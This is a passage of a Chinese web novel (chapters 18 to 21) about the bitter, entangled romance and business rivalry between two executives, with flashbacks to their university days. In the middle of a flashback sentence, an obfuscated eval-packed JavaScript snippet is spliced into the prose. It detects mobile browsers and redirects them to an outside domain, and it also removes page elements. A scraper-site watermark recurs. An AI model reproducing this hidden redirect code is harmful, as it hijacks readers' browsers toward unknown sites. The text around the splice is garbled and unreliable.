“乔总,中标的是……纵缰。” “看起来还是我的祝福比较心诚一点。”乔淮生看了看秦舟现在的脸色,嗤笑一声,“事情都做了,就不用再在这里假惺惺的演戏了吧。” 那张脸和当年的一样昳丽漂亮,说出的话却像是匕首一样扎进心口:“真是让人恶心。” “你最好一直都这么赢下去,秦舟。” 说罢,看也没看秦舟一眼,转头走向了人群。 秦舟试图追上去,闫玲猛地开口叫住他:“顾舟!” “你刚刚说的那些是真的吗?” “你真的背叛了学长?真的把我们的电影卖了?你知不知道那是学长的心血,你知不知道他曾经差点……” “我知道,那又怎么样?”秦舟回过头,“都是我做的。” “是我瞒着他见了秦之昭,是我瞒着他卖了电影,是我瞒着他抵押了公司,是我背弃了我们之间的一切回了秦家。” 秦舟静静地开口,好像是叙述一件与自己无关的往事,好像他从来也没有经历过这些剜筋挖骨的痛,指尖掐进掌心,目光却望着那个再也追不上的人:“你还有什么想问的吗?” 闫玲嘴唇抖了好几下,几乎是难以置信望着眼前这个面目全非的人:“你……” “你为什么要这么做?” “你之前明明不是这样的,你之前为了学长命都可以不要……”比起关硕,闫玲才是看着他们一路走过来的人,她曾经看着他们就想象这个世界上有什么感情的可以永恒,“为什么,你有苦衷,你有什么苦衷的对不对,是不是有人逼你……” “没有苦衷。” 他不需要苦衷,乔淮生说得对,事情做了都做了,找理由只会让人觉得恶心,他不需要为当初的事情得到原谅。 既然已经选了这条路,他就只能按照这样走下去。 “你想知道为什么吗?” 秦舟转过头,看着人群中的乔淮生,看着他被众人环绕,看他转身便换了脸,在恭维中笑意盈盈逢场做戏,看全场的目光聚拢在他的身上,他就那样回应着所有人。 “你看他,”秦舟说,“你为他说话,关硕为他说话,那些明星也为他说话。” “当然,他对你们每个人都很好。” “但是我不行,”从很久很久之前,从见到的一面开始,秦舟就这样疯狂地痴念着了,“我想让他只看着我一个。” “所以我必须要足够有权势足够有能力,才能把挡在我前面的人一个一个地清除掉,就像现在这样……” “就算是他再讨厌我再恨我,可他终究……也不得不望向我。?” “我现在也可以为他连命都不要。” 秦舟勾了勾唇角:“这跟我所做的一切,冲突吗?” 闫玲一巴掌扇在了他的脸上。 “有理由的背叛难道就不是背叛,”当日乔淮生没做的事情她做了,闫玲红着眼,“学长说得对,你现在装出一副深情的样子给谁看?” “我居然还想让学长听你的解释,我真是……” 秦舟站着没动,也没还手,好像是想起乔淮生当初没能下去的手,于是就那么受了那一巴掌。 “你是应该恨我,”秦舟笑了笑,“因为从某种程度上,我们也算是敌人。” “行,”闫玲点点头,咬牙道,“行。” “今天过后,我就跟学长一样,当顾舟已经死了。” “秦舟,你最好永远都别后悔。” 最后一个愿意叫他当年名字的人也离开了这里。 他当然不会后悔,秦舟想。 只是当年乔淮生费尽心思把他从泥潭里救出来,现在应该很后悔吧? 他们本来就是两个世界的,就像他现在,即便是有了现在的身份,也无法像乔淮生那样吸引所有人热切的靠近。 当然他也不需要。 他不需要解释不需要谅解不需要宽恕。 注定要下地狱的人,不需要向任何人告解。 杯子里的酒还是要帮乔淮生谈电影的时候拿的。 秦舟微一仰头,将它给饮尽了。 * “乔先生!请等一下!” 乔淮生的车子已经启动,侍者却拎着食盒小跑着追过来。 “有位先生让我把这个给你。” 乔淮生打开食盒,发现里面是一排排整齐的裹着糖霜的小青柑。 从前乔淮生教顾舟练车,偶尔也去家里找他几次。 老太太生着病也不肯消停,非要摆摊卖糖葫芦,自己去医院复查就把摊位交给顾舟,乔淮生很无聊地看顾舟推着推车,将一袋山楂往里扔。 “为什么糖葫芦一定是红的?”乔淮生从旁边拿了袋小青柑,“绿得不行吗?” 顾舟停下了车子,静静地看了乔淮生一眼。 他觉得小少爷以后一定还是不要做生意,最好只拍电影就好了。 可乔淮生丝毫不觉得有什么不对,扬起眼睛:“别人都卖红的你卖绿的,这就叫创新。” 顾舟看着他嫣红的嘴唇一张一合,说得什么没听到,只是点点头:“你想吃?” “我怎么可能!”乔淮生瞬间别过脸,将那袋小青柑给扔了回去,“我五岁开始就不会吃糖葫芦了!” 不过第二天顾舟出摊的时候,上面还真的串了几串绿的。 来买糖葫芦的人果然没几个是为了酸酸的青桔,乔淮生站在街边,顺手拦了一个小孩儿:“小朋友。” “过来过来,”乔淮生弯起眼睛,冲他招了招手,“你想不想吃糖葫芦?” 他那张脸太过生动漂亮,这样一笑,实在具有十足的迷惑性,小孩连连点头。 “那我给你钱,”乔淮生抽了一张一百的给他,“你去那个哥哥那里帮我把两串绿色的糖葫芦买回来好不好,剩下的都是你的。” 小孩子这辈子没摸过这么大额的零花钱,蹦蹦跳跳地就去了,一连捧了五串回来,正要张嘴咬下去。 结果刚过街口,乔淮生一个爆栗敲在他的脑袋上:“让你去你就去呀!” 他说着,一把将糖葫芦从小孩儿的手中抽了出来:“陌生人给的东西你都敢随便要,不怕被迷晕了抓起来?” “万一被抓了起来,你就再也见不到你的爸妈,他们还会剁掉你的手指,不给你饭吃,门口还会有随时等着吃肉的大狗……” 乔淮生讲故事实在太有渲染性,小孩儿哇的一声哭了出来。 “就算是他们像我这样,”乔淮生握着那串小青柑,慢悠悠咬了一口,糖霜很好地冲淡了小青柑的酸味,别人都不喜欢的偏偏乔淮生很感兴趣,像只餍足的猫一样微微眯起眼睛,还不忘教育小孩儿,“自己尝了一口说让你也尝尝,你也不可以吃,知道吗?” 小孩这才发现乔淮生抢走的是两串最难吃的绿的,顿时吸吸鼻子,不再哭了。 乔淮生一只手捏住小孩的脸,看着他的圆鼓鼓的脸颊像只橡皮糖一样被扯起来,没忍住又戳了两下:“快说,你听到没有?” 小孩子这才咬了一口手里的糖葫芦,点点头。 “知道就行。”乔淮生觉得自己教育了孩子,立刻想要验收成果,从口袋里拿了一盒刚买的巧克力,抬手扔给小孩,“喏,给你!” “这个时候你要说什么?” “谢谢哥哥!”小孩字正腔圆,迅速拆开包装咬了一口。 “你!” “哥哥你长得那么好看肯定不是坏人啦,还有,”乔淮生还没来得及说话,小孩子戳了戳自己的嘴角,“哥哥你这里粘了糖了。” “闭嘴!” 一连两个周末,小孩子都蹲在街角等生意,每次都能遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890795|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好心的少爷爆金币。 结果第三次,顾舟突然不卖了。 “你今天怎么不卖绿的了?”乔淮生出现在摊前,像个老板似的巡视一遍。 顾舟已经习惯他在自己生活的任意角落里出现,甚至都没问乔淮生为什么知道自己会卖这个,弯腰从下面拿出了一个饭盒:“你要尝尝吗?” 里面是两颗整齐的小青柑糖葫芦。 “那好吧。” 亮晶晶的糖霜像是镀了一层釉,乔淮生状似品鉴地将那两颗吃掉,还注意着没有把糖霜沾到嘴巴上:“你今天就做了这么多啊?” 顾舟盯着乔淮生的脸,看他因为糖霜而变得透明红润的嘴唇和过分瘦削的下颌线,以及每一次在学校食堂里,那堪比小猫的饭量。 垂眸将旁边的另一个饭盒打开:“这个也是我做的。” 里面是满满一盒的凉拌鸡丝,上面浇了红油辣子和青柠汁,为了促进食欲,旁边还放了两个小青柑作为点缀。 这样华而不实的装点对于只需要饱腹的顾舟来说从来都是不必须的,但他又莫名觉得乔淮生可能会喜欢,语气依然是静静地,只是很低,听起来有点像是在哄人:“你吃完,我明天再给你做糖葫芦。” 这种用了五种以上调料的东西在傅芸的饮食习惯里是绝对不会出现的,乔淮生很早就被勒令不准吃了:“我……” “这次有肉的。” 顾舟的声音很低,乔淮生差点以为自己听错了:“你说什么?” 顾舟却没有再说话了,只是将一次性筷子上的毛刺帮他磨了一下。 按理说一般人到这里就应该假装没听到略过去,但是乔淮生偏不,他微微凑近顾舟,眼角含笑:“你给我吃这个,那你自己吃什么啊?” 顾舟不答,乔淮生更近地去看他的表情,眼尾的痣因为笑容而变得生动:“顾舟,” “你最近怎么对我这么好呀?” * “乔先生?” “没事,”乔淮生的视线从那盒东西上收回来,“谢谢你跑这一趟了。” “不客气不客气,那个……” 侍应生说:“刚刚送这个过来的那个人还让我告诉您。” “他说……”侍应生的声音低下去,“他知道您现在不想看到他,但是——” “好好吃饭。” 乔淮生轻轻地笑了声,他几乎能想到秦舟说这句话时的语气。 自以为是的关心,明明做了那样的事,却又装作一副深情到忏悔的模样,凭什么呢? 不过没关系,当初教坏了的人,再回到自己手中重新教一遍就好了,乔淮生想,他注定是自己的东西,他会对他负责。 而在那之前,所有一切痛苦,都是他必须要经受的惩罚。 “谢谢,”乔淮生将东西合上,“不过也麻烦你转告他。” “我现在不需要了。” “我前男友人都已经死了,入土为安,”乔淮生漫不经心道,“我不喜欢有人再拿着他的东西在我眼前卖弄。” “麻烦你多跑一趟了。” 乔淮生彬彬有礼的致歉,说罢,终于将腕上的手表摘了下来,放在盒子上作为小费。 白皙的手腕露出来,上面是一闪而过的红痕,乔淮生仿佛看不到暗处窥视的目光,那抹红略略让人看到点残影,就被乔淮生抬手升上了窗户。 有时候看不清……又何尝不是一种辗转难眠的惩罚。 “乔总!”车子启动,乔淮生才接了秘书郁明的电话,“对不起,这次的投标是我们没有做好,我们也没想到纵缰他能做到这个地步,回去一定……” “行了,”乔淮生说,“说了不会扣你们奖金,乔董那边我去交代。” 他说完,又问:“你在公司吗?” “在啊?怎么了?” “跟小雅说一声。”乔淮生一只手轻轻抚了下手臂,指尖上沾了脂膏浓重的红,轻笑道,“下次换个腮红,这个掉色太厉害了。” 19、第十九章 虽然城市里车辆遍野乌烟瘴气,但郊外的空气还算清新。 乔淮生下了车,抬头看了眼疗养院的大门。 虽然乔南山对外称妻子是身体不好退居养病,可只有少数人知道。 这个养病,养的其实是精神病。 余山疗养院价格高昂,风景秀丽,十几个人护工围着一个病人,娱乐休息护理区应有尽有,是个不错的休养地。 但是傅芸坐在床边,头发干枯,双目无神,像一只在冬天里衰败下去的植物。 “妈,我来看你了。” 乔淮生将带来的香雪兰插进瓶中:“还记得我是谁吗?” 为了方便傅芸回忆,乔淮生特意穿了件大学时的衬衫,窗没关,有风掀起他的额头,一瞬间好像又回到了五年前的时候。 “我是生生。” 乔淮生蹲下身,握了握傅芸已经干得发皲的手:“怎么这么凉,风太大吗?” 傅芸不说话,直勾勾地盯着他,好半晌,才眨了一下眼睛。 “生生。” 她仿佛终于从那张脸上辨认出一点往日的痕迹,眼泪落下:“生生,生生,生生!” “嗯,是我。” 乔淮生拍了拍她的背,柔声哄着:“你放心,我很快就会把你接走了。” 乔淮生摸着她的头发,傅芸终于渐渐地安静下来,只是抓着他的手臂:“生生,生生。” “嗯。” 乔淮生轻应着,随后,像是闲聊般提起:“妈,顾舟回来了。” 傅芸的动作蓦地停住,牙齿打颤,手指紧紧地抓紧乔淮生的胳膊,最后,整个人像是发冷般颤抖起来。 “秦……” “秦……” 她牙齿打着颤,像是从喉咙里撕扯出声音来,好半晌,突然变得歇斯底里起来,好像是从根底遇到了劲风,拼命地撕扯着想要发出声音:“你怎么还想着他!” “你怎么还能想着他!” “滚啊,给我滚啊!!!不许!不许你再想着他!” “他已经……他已经……” 乔淮生定定地注视着傅芸,眼前的人好像是看到了什么极为恐怖的事情,连瞳孔都瞪得极大。 “妈,”乔淮生扶住傅芸的肩,“你说的那个他是谁?” “是秦舟吗?还是说……是别的人?” “是我爸他……” 啪! 傅芸突然抬起手,一巴掌打在了乔淮生的脸上。 “为什么!为什么你现在还要想着他!” “他们秦家有什么好东西!”傅芸的眼神里发出淬毒的光,“我怎么会生出你这么一个东西!” “是啊。” 乔淮生忽然笑了:“你们怎么会生出我这么一个东西呢?” 胳膊上被抓出几道血痕,乔淮生的笑容却依然灿烂,顾舟当时说得对,人并不是需要爱才能活下去。 时至今日他已经不再试图从他们身上确证什么东西,可偏偏这个时候,所有人又把之前缺失的关爱一股脑地扔给他。 “对不起对不起生生,”傅芸眼中涌出泪水,“打疼了你吧。” “妈妈控制不住自己,对不起对不起对不起,妈妈对你不好,对不起,妈妈对不起你……” 傅芸说着要去抱他,铃声却在这个时候响起来。 乔淮生按下接听键,低沉的,略带些严厉的声音从听筒中传来:“我听说,清江湾的项目,是纵缰拿到了?” “嗯,爸。” 那边叹了口气,声音不大,但却是上位者表示对下位者失望的惯用手段:“看完了你妈就回来吧。” 乔淮生挂了电话,并不讶异乔南山为什么会知道自己在这里,只是抬眸望着自从听到这个电话之后,便全身发抖的傅芸:“你害怕他吗,妈?” “你当时是怎么变成这样的?” 真的是佣人所说的家里遭了贼受了刺激,还是…… 乔淮生盯着她的眼睛:“是不是有人……” “啊——!!!” 傅芸突然惊恐地大叫起来,原本漂亮的变得可怖,整个人拼命地往后缩,用力地撕扯着自己的头发。 “好了好了没事了,”乔淮生猛地抱住她,一只手拍着傅芸的背,“没事了没事了。” “你放心。” 乔淮生注视着花瓶的那束香雪兰,静静道:“那些伤害过我们的人,我一个也不会放过的。” * 帕梅拉沿着院子飞了个漂移,车子在老宅停下,乔淮生刚刚踏进去,就看到乔南山坐在家里的沙发上,正在泡茶。 见到乔淮生来,只略略看了他一眼,不打招呼,也没有让他坐下的意思。 这种无声的沉默很容易给人以威压,特别是对于一个在乔南山心中犯了错的人来说。 乔淮生小时候他就喜欢用这招,那时候乔淮生总是小心翼翼地去讨好,觉得自己是不是真的做错了什么,于是在下一次更加努力更加约束自己。 但是现在—— 乔淮生大摇大摆往对面一坐,长腿交叠,自顾自拿起乔南山泡好的凤凰单枞喝了一口,皱眉嫌弃:“爸,你这用的是陈茶吧?” 乔南山不紧不慢:“你倒是还有闲心喝茶。” “那当然,”乔淮生笑了笑,“您不也在这喝茶呢吗?” “跟我学,行啊,”乔南山将那茶叶又过了一遍筛,“那你在招标之前带着小情人跟秦舟飙车,也是跟我学的?” 乔淮生微微眯起了眼睛。 他跟秦舟是在会所偶然遇见的,连赛车也是临时约的,根本就没有告诉公司里的任何人。 谁能告诉乔南山这个消息,会所老板?车行?还是说……乔南山从一开始,就派人在身边跟着自己? 乔淮生敢肯定乔南山是故意这么说的,比起愤怒,这更像是一种威胁。 一种事情还在他掌控之中的威胁。 “是啊,我是故意跟他去飙车的。” 乔淮生说:“如果我不去,怎么知道他怎么想的呢?” “我以为五年过去你应该成熟一点,”乔南山望着他,像望着一脚踏进感情漩涡里无可救药的废物,“所以呢,你知道了什么?” “你知道秦舟为了拿下这个案子,亲自跑到澳门去剁了人的三根手指,你当人家旧情难忘,可人家呢?” “乔淮生,人家可比你狠心多了。” 乔淮生垂着眼,手指轻轻一拨,杯盖便擦着茶盏转了起来——知道乔南山爱喝茶,他小时候特意学的茶道,一手春风拂面把手背烫红了几十次,就为了能有一天能在乔南山面前得到一句夸奖。 只是现在终于有了表演的机会,观众和演出者却没有一个人在意。 “如果你跟他做不好生意,”乔南山没有往下看一眼,他一向是眼高于顶,“我可以让你去锦城那里好好冷静一下。” 谁都知道锦城分公司是恒盛的一笔烂账,把乔淮生放到那,跟发配边疆没什么区别了。 乔淮生倒也不急,没人看,他就拨弄着茶盏自己玩:“你怎么知道,清江湾不是我故意让给他的呢?” “你说什么?” “清江湾是被纵缰拿了不错,可是5%的利润,那么大一个公司,你觉得他们能赚多少钱?” “不仅拿不到钱,”指尖轻轻搭着茶盏,乔淮生说,“而且……纵缰大半的现金流都要被拖进去。” “这个时候,只要找一个缺口,将引线一拉,”手指一松,原本旋转个不停的茶盖便啪嗒落了下来,“整个纵缰都会陷入危机。” “你是说……”乔南山拧起眉,显然也是想明白了其中的关窍,“可是你去哪里找个缺口?” “纵缰想要在清江湾要建高新技术产业园,那他们的工厂和宿舍要放在哪里,要交通便利要便于监管还要保证不在市区污染环境,最好的选择就是……” “崇山?” 乔淮生一点头:“崇山离市区不过两小时的车程,地广人稀价格便宜,纵缰刚拿下这个项目,就派人过去了。” “但是……”乔淮生缓缓笑了下,“我半年前就得到消息,崇山那块地下埋着的东西根本就盖不了房子,只是那镇长为了能卖钱,找人伪造了测评书,只等着冤大头接手。” 半年前…… 乔淮生的语气那样平静,乔南山甚至很难说他是从哪一天开始布的局。 在秦舟回来之前?在他们相见时不死不休的那一刻,还是故意装出一副不抢到清江湾不罢休的样子,逼得秦舟不得不压低利润抬高价格? 他从那个时候,就想到现在的这个场面了吗? “就算是这样,”乔南山给他添了一口茶,“我们能知道的事情,秦舟他们的人过去了,难道就不可能查出来?” “他那几个副总,都是上有老下有小,人一旦有了弱点,事情就好办得多。” “那秦舟呢?他可没什么亲眷吧?” “秦舟,”乔淮生嗤笑了一声,“从买地到出事,他都不会有机会在那里。” “为什么?这么重要的事,秦之昭肯定会派他过去。” 乔淮生抿了一口茶,茶杯落地,斩钉截铁:“因为我。” 人都有弱点。 秦舟当然也会有。 “不然你以为,我为什么要带着小情人去跟他飙车?” 想起秦舟那天眉骨上满是鲜血,望着自己的那一眼,乔淮生忍不住勾了下唇角。 “那你想怎么做?” “该怎么做就怎么做呀,”乔淮生说,“您不是都说了,要送我去分公司吗?” 乔南山狐疑地抬头看了他一眼。 乔淮生却蓦地站起身,将桌上的茶盏摔到了地上。 “您因为没有拿下清江湾大发雷霆,不仅在家里将我狠狠地打了一顿,还把我扔去了锦城自生自灭。” 乔淮生说着笑了声:“反正,你很早就想这么做了,不是吗?” 如果不是为了放他对付秦家,乔南山恐怕不会那么痛快地把恒盛交到他的手上。 但是,那又怎么样呢? 乔淮生一挥手,桌上的杯子全都落在了地上,啪嗒摔得粉碎。 这是乔南山最喜欢的一套,纵使再想要装作不在意,还不是没忍住嘴角一抽。 结果乔淮生又是一挥手,旁边的两个缠丝古董花瓶也跟着落了地。 “你……”乔南山想说你做戏省点材料,却见乔淮生弯下腰,从中捡了一块碎瓷片,面无表情地冲着自己脖子上划了一道。 血痕在白皙的皮肤上分外明显,乔南山心中一震,像是此刻才第一次认识这个儿子。 “怎么回事?乔董?少爷?你们没事吧?” “快快快,快进去看看!” 佣人跑进来之前,乔淮生一脚踹翻了乔南山面前的茶几,混乱的茶水沾到他们两个人的身上,周围全是玻璃和瓷片的碎渣,一副刚刚经过激烈缠斗的样子。 “淮少你别难受,”管家在这里十几年,依然像以前一样安慰他,“乔董这次就是气急了,你放心,我一定告诉他们不乱讲话,不会把你跟乔董闹矛盾的。” “不,当然要说。” 乔淮生将管家递来的纱布挥开了,好让暗中窥伺的镜头能够更好地拍到他脖颈上的伤痕。 “我就是让他们都知道我被我爸赶出了家门。” 乔淮生微微笑了下,眼眸中是势在必得的光:“最好是不刻意关注……也不得不知道。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20、第二十章 “秦总,这是这一季珠宝展的邀请函。” 秘书将东西放在桌上,秦舟一只手翻着报表:“嗯。” 作为一个总裁,秦舟比乔淮生那种张扬到出现在各大媒体上的少了很多爱好,他不喜欢买车也不买房,没有任何长期的投资理财产品,唯一还能称得上有点奢侈的,就是喜欢买点珠宝和红酒。 只是他自己从来不喝也不戴,全都摆在橱窗里,如果说是为了收藏,可里面还夹了很多华而不实的流行款。 有钱人的世界果然不是他们这种社畜可以想象的,秘书拿出日程单:“秦总,这是您最近的行程。” “今天晚上有一个例会,明天要跟程副总一起去崇山项目考察,还有……” “怎么了?”男人抬起眼,眼下是明显的青黑。 秘书忽然想起来这几天秦舟都是加班到深夜,早上她来上班的时候,这人却已经在办公室里打电话。 就好像是不需要睡眠一样。 “那个,”秘书忍不住道,“秦总,下午倒是没什么安排,您要不要休息一下?” “不用,”秦舟抬手揉了揉眉心,“你继续说。” “好的秦总,宁大的校庆给您发了邀请函,之前本来说会过去,但是现在崇山那边……要不要我给您安排送个礼物过去?” 秦舟抬眸往那张邀请函上看了一眼。 出国这么久,他已经很久很久……没有看到过宁大的校徽了。 只能从想象中描摹他的毕业典礼的样子,好像那万人簇拥的时候也曾有自己的一个角落。 秦舟不敢睡觉,因为只要一闭上眼睛,就会想起乔淮生。 想起他满身鲜血躺在红色的丝线里,想起他手中握着刀的样子,想起他从楼上跳下来,伤痕累累地来找自己。 想起他连日瘦削的身体和手腕上一闪而过的红。 秦舟不敢给自己机会深想那些会代表着什么。 “没事,我自己过去吧。” 秦舟将那张邀请函收了起来:“跟程总说一声,我们改到下午出发。” * 秦舟既然要去,流程上自然是要有他的发言环节的。 联系人员一连跟他确认了三次,确定不要作为优秀代表上台发言。 “我算什么优秀,姓氏吗?”联系人员刚要说话,秦舟便笑了声,“等别人吧。” 他说着,看了眼门口的方向。 “秦总!” 然而秦舟要坐在这里,自然是不可能安静的。 “我听说秦总刚拿了清江湾,一回国就这么大手笔,当时在纽约就听过秦总的传说,现在真的是百闻不如一见啊。” “您不记得我了,之前在学校,我跟您一起参加过校艺术团的,当时是那个乔……” 像是想起两人之间的关系,那人的声音戛然而止,旁边的人撞撞他的胳膊:“提这个干什么,现在秦总不比当初的乔淮生风光。” “那是,秦总一回来就拿下了清江湾,我看以后宁市的风,是得换个方向吹了。” “是啊,一个纨绔罢了,怎么能跟我们秦总在一起提呢。” 秦舟没说话,路上的梧桐花被吹过来一些,他才想起这是什么路。 * 宁大的体育场扩建了。 但是从前,这里应该是篮球场。 乔淮生偶尔会在这里跟人打球——被校篮球队队长关硕强行拉过来的,作为招生的宣传门面之一。 每次他过来的时候,整个操场都能堵得严严实实,全是来看乔淮生的人。 乔淮生每进一个球,场下都能传来堪比运动会开幕式的欢呼,那人穿着一身白t,衣摆被微风吹得鼓起,跃起时能看到劲瘦漂亮的腰身,即便是抢球的时候,那笑容依然是彬彬有礼的。 人那么多,没有人注意到站在角落里的顾舟。 他几乎是贪婪地注视着那个被人群簇拥着的人,看着他嘴角勾起的每一次笑容和微仰时划过脖颈的汗水。 裁判一喊中场休息,立刻有一群人跑上去送水。 “哇哇哇哇哇真的好帅啊!!!” “完了完了我怎么忘记买水了我也想上去偷拍啊啊啊啊啊!!!” 顾舟把手中的东西递给她:“你拿这个去吧,我刚买的。” 那女生疑惑地看了他一眼,但终究抵不过近距离跟乔淮生近距离接触的诱惑,将东西一拿就跑了。 到了跟前递出去才发现,那根本不是什么刚买的矿泉水。 而是有人自己煮的柠檬茶,加了蜂蜜,装在杯子里,又借了门口奶茶店的机器塑封好,这才一路带过来。 乔淮生不喜欢喝冰的,也不喜欢喝太甜的,最好是微微的酸带一点调剂,比如糖葫芦味的小青柑和煮好的柠檬茶。 女生刚要收回手,没想到乔淮生居然抬手把她的接了过去。 照片拍了好几张,但是她想回去道谢的时候,刚刚那个男生已经不见了。 没人知道他什么时候来,也没人知道他会站在那里,只是每次乔淮生打球,总有人能给他递上一杯柠檬水。 好像那在黑暗中窥视的目光,从来从来就没有消失。 只是在球场里争锋的男生,没有人喜欢场上的目光总是被另一个人夺去,于是在某一次打球的时候,乔淮生被人恶意撞了一下,整个摔在了地上。 顾舟眼眸一深,几乎立刻就要站起来。 但是有人比他更快地跑过去——旁边的关硕,篮球队的队友,簇拥着的人群,还有问询赶来的医生…… 每一个人都比顾舟更光明正大正有身份和立场。 指尖狠狠地掐进掌心,顾舟转身离开了那里。 没过几天,那个撞了乔淮生的人走路时不小心,突然从楼梯上摔了下去,听说骨头都摔裂了两根。 其他人都在感叹恶有恶报,乔淮生却正在跟着顾舟。 “顾舟!” 其实他的脚已经好得差不多了,但是仍装作一副体力不支的样子,走两步就要停一下:“停下来!” 眼看着前面那人走得稍稍快了点,乔淮生立刻倒吸一口凉气:“嘶~” 顾舟果然是瞬间停下了脚步。 他回过头,眉头紧皱,垂眸看了看乔淮生的脚:“你的拐杖呢?” “用那个多影响形象。” 即便是脚腕扭伤,乔淮生还是保持着体面精致的习惯,手腕上的宝石手链熠熠发光,身上穿着三件套,连头发也抓过造型,好像不管在哪里,都是打眼的存在。 顾舟退后两步,保证路过的人不会因此误会他们过近的关系: “那关硕他们呢?” “我就不能一个人吗?” 乔淮生坐下自顾自坐在旁边的长椅上:“过来坐下。” “怎么了,”乔淮生看他一眼,“有胆子天天盯着我送水,没胆子过来?” “顾舟,我说你……” 叮铃! 乔淮生刚要伸手去拉他,旁边突然有人骑着自行车经过。 原本隔了两步的顾舟瞬间上前一步,宽阔的脊背将乔淮生的脸给遮住了。 等到那人走了,他才又站回原来的位置:“我们在学校,还是保持一点距离吧。” 顾舟说:“让人看到了不太好。” “让人看到了不太好?哪里不好?怎么不好,顾舟你把话说清楚。” 但是顾舟明显是不太像沟通的样子:“我去找闫玲他们送你回去。” “顾舟!” 乔淮生急着去追他,刚走了两步,突然一停:“我疼!” “哪里疼?”顾舟立刻回过头,一只手撩起他的裤管,眉头紧皱,“这里吗?” “还好。” 乔淮生笑了,一只手捏住他的下巴:“为什么不想让别人看到我们在一起,你害怕别人议论?” 顾舟当然不在乎。 其实他知道乔淮生也不在乎。 但是他在乎乔淮生。 他是生活在淤泥里的人,可是他希望乔淮生永远做天上的月亮,最好再也不要露出那样悲伤的表情,永远活在赞美与掌声里。 又一个人经过了,顾舟下意识想要松手,可是乔淮生却猛地扯着他的领子让他靠近自己,从后面看起来,简直像是在接吻一样。 顾舟想要说话,却害怕暴露更多,可乔淮生却不管不顾:“顾舟。” 乔淮生的额头几乎抵上他的额头:“你要是真的想跟我划清界限,干嘛每天准备好柠檬茶放进我的座位,干嘛把他楼梯上弄下去?” “你以为你不说,我就不知道那些是谁做的了吗?” 顾舟咬着牙不说话,还好那人骑车走得快,并没有发现这里的异常。 “你想避嫌,可以,”乔淮生指了指,“我以后就当什么都没有看见,什么也不知道,再也不会在人群中注意到你,遇到了也不会再多看你一眼。” 乔淮生松开他,手一指:“走吧。” 顾舟望着他,试探着后退了一步。 他其实知道这才是最好的结果,他和乔淮生本来就不该有太多交集,在修车厂,在那个狭窄的小巷,在卖糖葫芦的摊贩前…… 这些偶遇都不足以将他们的人生轨迹连接在一起。 他们只需要在彼此看得到的地方好好活着就好了。 但是……顾舟刚刚试探着走了一步,乔淮生突然说:“我疼。” 他回过头,乔淮生就那么望着他:“我脚疼。” 乔淮生的语气没有哀求,也没有可怜,其实再等几分钟,等顾舟叫了人或者打个电话,哪怕是在路边随便找一位同学,有的是人等着送乔淮生回去。 更何况,他还是装的。 但他就那么直直地盯着顾舟,静静开口:“你一走就疼了。” 顾舟那双黝黑沉静的眸子望着他,沉沉地吸了一口气,随后,走到乔淮生面前,弯下了腰。 乔淮生瞬间笑起来,一跃爬上他的背。 顾舟就把他背起来,路上有梧桐花的味道,他靠在顾舟的肩头,想起在那个巷子里第一次见到顾舟,指尖忍不住他的厚实的肩上捏了捏:“顾舟,其实我骗你的。” “我知道。” “你知道?那我一喊疼还是会过来吗?” “嗯。” “为什么?” 顾舟没有说话,只是抓着乔淮生的小腿,将他往上托了托:“我没有偷偷去你的教室,那节公选课,我跟你选了一样的。” 只是他从来迟到早退,连座位也只固定在最后一排的角落,只有在某些人站起来回答问题的时候,才变得格外认真一点。 “你跟我选了一样的?那你怎么……”乔淮生的话还没说完,自己却已经说得到了答案,于是勾起唇角笑笑: “那明天晚上,你要不要跟我一起上课?” “好。” 顾舟想,他曾经试图躲过,试图抗拒过的,可惜失败了。 那双眼睛望向他的那一刻,他就知道自己避无可避的了。 可是为什么……心里的扭曲如同杂草一般滋生。 这样的美好,不能只属于他一个人呢? * “的确不能,”秦舟从不远处的篮球场上收回视线,像是回应旁边那人的话,嗤笑道,“我配不上他。” 旁边的声音瞬间停了。 那个说乔淮生不配跟秦舟一起提的人恨不得扇自己两巴掌,可秦舟的视线却淡淡地转向他:“你曾经也因为摄像作品向他请教过,他为了帮你改稿熬了两个晚上。” “现在只是为了一点小小的可能的利益,你就诋毁他讨好我吗?” 那人的脸瞬间红到脖子根,秦舟淡淡地收回视线,不再说话了。 “哈哈,”周围的人打着圆场,“说起来,乔总怎么还没来啊?” “对啊,这体育场不还是他捐钱翻修的吗,连这座椅都是乔总特意交代加的,说是要给来看球赛的同学们一个座。” “校长连感谢词都给他写好了,怎么还没过来?” “你们都还不知道吗,他……” “不好意思,”一人从熙攘的人群中走过来,秦舟回过头,才发现那是乔淮生之前带在身边的秘书,“乔总让我来代替捐款。” 礼宾忙着接待,众人忙着寒暄,只有秦舟看了他一眼:“乔淮生人呢?” “乔总?”秘书微笑道,“乔总现在人已经在锦城了。” “锦城?” “秦总还不知道吧,”旁边的人接过话,“乔总丢了清江湾的项目,被他爹扔去锦城分公司了。” “锦城那地方到处穷山恶水的,乔总长这么大哪里离开过宁市啊?” “听说这次老爷子是真生气了,两个人还打了一架,乔总住了两天院才走的。” 那人好似没看到秦舟越皱越紧的眉头,依然道:“哎哟我听说啊,乔总从家里走的时候,脖子上烂了一个大洞,血刺呼啦的,差点命都没了。” “你说什么?!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 21、第二十一章 “秦总?” 秦舟一出门,秘书立刻迎了上去:“镇长和当地的开发商已经联系好了,程总他们已经在路上了,咱们是现在出发吗?” “您等会儿在车上还有一个电话会议,下午四点,您……” “送我去机场。” “机场?”秘书愣了下,“崇山那里没有机场啊?” 就算是私人飞机,航线也得提前一天申请,更何况他们的车程才两个小时。 但是秦舟已经弯腰拉开车门:“帮我订一张最快到锦城的机票。” “锦城?”秘书是愣了下,大脑中飞快地搜寻着锦城的紧急行程,“现在吗?” “最快的还有一个小时,我想我们应该来不及,下一班是在……” “就这个。”秦舟似乎连现在这一点小小的时间都等不了,直接换到驾驶座:“你跟司机先回去,我自己过去。” 